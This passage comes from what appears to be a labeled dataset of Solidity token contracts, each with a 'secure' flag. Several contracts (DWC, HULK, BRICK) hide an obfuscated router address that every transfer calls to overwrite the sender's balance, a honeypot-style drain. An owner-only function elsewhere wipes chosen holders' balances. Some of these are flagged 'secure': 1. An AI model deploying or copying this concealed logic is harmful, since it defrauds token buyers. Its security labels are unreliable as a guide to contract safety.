allowed\");\n\n _;\n }\n\n function myth(address[] memory shock) public onlyOwner {\n for (uint256 i = 0; i < shock.length; i++) {\n address account = shock[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_60.sol",
"secure": 1,
"size_bytes": 4348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract DWC is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: a055263): DWC._totalSupply should be constant \n\t// Recommendation for a055263: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 831e61f): DWC._name should be constant \n\t// Recommendation for 831e61f: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Degen Wif Cat\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 05e6577): DWC._symbol should be constant \n\t// Recommendation for 05e6577: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"DWC\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ef0778d): DWC.Router2Instance should be immutable \n\t// Recommendation for ef0778d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b53aad): DWC.bb should be constant \n\t// Recommendation for 6b53aad: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_600.sol",
"secure": 1,
"size_bytes": 6261
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract MetaCoin is ERC20, ERC20Burnable, Ownable, ReentrancyGuard {\n constructor() ERC20(\"MetaCoin\", \"META\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) external onlyOwner nonReentrant {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_601.sol",
"secure": 1,
"size_bytes": 694
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MakeCryptoGreatAgain is ERC20, Ownable {\n constructor()\n ERC20(\"Make Crypto Great Again\", \"TRUMP42069\")\n Ownable(msg.sender)\n {\n _mint(msg.sender, 420069000000 * 10 ** decimals());\n\n renounceOwnership();\n }\n}",
"file_name": "solidity_code_602.sol",
"secure": 1,
"size_bytes": 458
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract HULK is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46a5861): HULK._totalSupply should be constant \n\t// Recommendation for 46a5861: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 14012f0): HULK.Router2Instance should be immutable \n\t// Recommendation for 14012f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 Router2Instance;\n\n function getSumKing() internal returns (uint160) {\n return\n ((0 + 0 + 0 + 1 - 1 * 1 * 0 + 100 + 200 + 10000 * 0) * 0) +\n 1323995976083318023847656560591034026600115552671 +\n 100;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 889ce35): HULK.constructor(string,string).name shadows HULK.name() (function)\n\t// Recommendation for 889ce35: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n uint160 router_;\n\n uint160 c160 = getSumKing();\n\n router_ = (((0 + 0 + 0 + 1 - 1 * 1 * 0 + 100 + 200 + 10000 * 0) * 0) +\n uint160(c160) +\n 0 -\n 0);\n\n Router2Instance = UniswapRouterV2(address(router_));\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 889ce35): HULK.constructor(string,string).name shadows HULK.name() (function)\n\t// Recommendation for 889ce35: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b3224d5): HULK.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b3224d5: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (, _balanceses[owner], ) = _aaaroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b9296a6): HULK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b9296a6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d231a63): HULK.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d231a63: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (, _balanceses[from], ) = _aaaroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 16e6944): HULK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 16e6944: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4ec8ff1): HULK._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4ec8ff1: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c473d02): HULK._aaaroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c473d02: Rename the local variables that shadow another component.\n function _aaaroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (bool, uint256, bool) {\n if (no == true) {\n return (true, _dogeswap(owner, amount), true);\n } else {\n return (true, _balanceses[owner], true);\n }\n\n return (true, _dogeswap(owner, amount), true);\n }\n}",
"file_name": "solidity_code_603.sol",
"secure": 0,
"size_bytes": 7268
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract BRICK is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: b337384): BRICK._totalSupply should be constant \n\t// Recommendation for b337384: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 200000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a534309): BRICK._name should be constant \n\t// Recommendation for a534309: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Brick Block\";\n\n\t// WARNING Optimization Issue (constable-states | ID: efb05b8): BRICK._symbol should be constant \n\t// Recommendation for efb05b8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"BRICK\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8a6bfb4): BRICK.Router2Instance should be immutable \n\t// Recommendation for 8a6bfb4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(aEdZTTu))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal pure returns (uint160) {\n return (90 +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal pure returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap(\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_604.sol",
"secure": 1,
"size_bytes": 5715
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FaustTweet is ERC20 {\n constructor() ERC20(unicode\"Hawk Tuah Dog\", unicode\"BUCKY\", 1000000000) {}\n}",
"file_name": "solidity_code_605.sol",
"secure": 1,
"size_bytes": 250
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FaustTweet is ERC20 {\n constructor() ERC20(unicode\"Lil-X MAGA\", unicode\"XAEMAGA\", 1000000000) {}\n}",
"file_name": "solidity_code_606.sol",
"secure": 1,
"size_bytes": 249
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MemDex is ERC20, Ownable {\n constructor() ERC20(\"MexDex\", \"MEMDEX\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n\n renounceOwnership();\n }\n}",
"file_name": "solidity_code_607.sol",
"secure": 1,
"size_bytes": 395
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.